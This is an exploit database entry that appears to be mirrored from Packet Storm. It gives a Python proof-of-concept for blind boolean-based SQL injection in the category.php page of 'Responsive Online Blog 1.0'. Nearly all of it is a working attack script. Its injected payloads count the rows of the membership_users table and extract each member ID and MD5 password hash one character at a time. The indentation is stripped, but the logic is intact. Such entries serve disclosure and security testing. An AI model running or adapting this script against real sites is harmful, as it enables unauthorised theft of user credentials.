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## https://sploitus.com/exploit?id=PACKETSTORM:166767
# Exploit Title: Responsive Online Blog 1.0 - Blind Boolean-based SQLi   
# Date: 2022-04-16  
# Exploit Author: Gideon Kamioka (@w1ezl)  
# Vendor Homepage: https://www.sourcecodester.com/php/14194/responsive-online-blog-website-using-phpmysql.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14194&title=Responsive+Online+Blog+Website+using+PHP%2FMySQL  
# Version: v1.0  
# Tested on: XAMPP Linux/7.4.7  
  
# Vulnerability: An attacker can perform a blind boolean-based SQL injection attack,  
# which can provide attackers with access to the username and md5 hash of all site users.  
# Vulnerable file: /category.php  
  
# Usage: python3 exploit.py http://localhost/blog/category.php  
  
# Proof of Concept:  
  
#!/usr/bin/python3  
  
import sys,requests,re  
  
def cred_Length(ip,p,max):  
f = requests.get(ip, params=f'id={p.replace("[i]",str(125))}', verify=False)  
failLen=len(f.text)  
  
for k in reversed(range(1,max)):  
r = requests.get(ip, params=f'id={p.replace("[i]",str(k))}', verify=False)  
if (len(r.text) != failLen):  
return k  
return None  
  
def search_Credentials(ip, p):  
charlist="abcdefghijklmnopqrstuvwxyz0123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\\\'()*+,-./:;<=>?@{|}~[]^_`"  
f = requests.get(ip, params=f'id={p.replace("[CHAR]",str(125))}', verify=False)  
failLen=len(f.text)  
  
for k in charlist:  
r = requests.get(ip, params=f'id={p.replace("[CHAR]",str(ord(k)))}', verify=False)  
if (len(r.text) != failLen):  
return ord(k)  
return None  
  
def logo():  
art = R'''  
โ–‘โ–‘โ–‘โ–‘ โ–‘โ–‘โ–‘โ–‘  
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘ โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘  
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘ โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘  
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘  
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘  
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘  
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–‘  
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–‘  
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–‘  
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–‘  
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘  
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘  
'''  
info = "\033[0;34mResponsive Online Blog 1.0 /category.php\033[0m -\n Boolean based Blind Credential Extractor"  
credits = 'Created by \033[1;35m@w1ezl\033[0m'.center(80)  
warning= "\033[3mThis script could take up to \033[1;31;103m10 minuites\033[0m\033[3m to extract a single credential.\nGo get cofee and chill or something.\033[0m"  
print(f"{art}\n{info}\n{credits}\n\n{warning}\n\n")  
  
def main():  
logo()  
  
if len(sys.argv) != 2:  
print(f"(+) Usage python3 {sys.argv[0]} <target>")  
print(f"(+) Eg: python3 {sys.argv[0]} http://localhost/blog/category.php")  
sys.exit(-1)  
  
target = sys.argv[1]  
payloadA = "1'AND+(SELECT+count(*)+FROM+membership_users)=[i]--+-"  
payloadB = "1'AND+length(substring((SELECT+CONCAT(memberID,':',passMD5)+FROM+membership_users+LIMIT+1+OFFSET+[o]),1,60))=[i]--+-"  
payloadC = "1'AND+ascii(substring((SELECT+CONCAT(memberID,':',passMD5)+FROM+membership_users+LIMIT+1+OFFSET+[o]),[i],1))=[CHAR]--+-"  
print("(+) Starting Exploit:")  
  
n = cred_Length(target, payloadA, 30)  
  
if n is None:  
print("(+) No creds Found:")  
print("(+) exiting...")  
sys.exit(-1)  
else:  
print(f"(+) {n-1} creds Found:")  
  
for i in range(0,n-1):  
b = payloadB.replace("[o]",str(i))  
credLen = cred_Length(target, b, 60)  
  
for j in range (1, credLen+1):  
p = payloadC.replace("[i]",str(j))  
c = p.replace("[o]",str(i))  
sys.stdout.write(chr(search_Credentials(target, c)))  
sys.stdout.flush()  
print('')  
print("done")  
  
if __name__ == '__main__':  
main()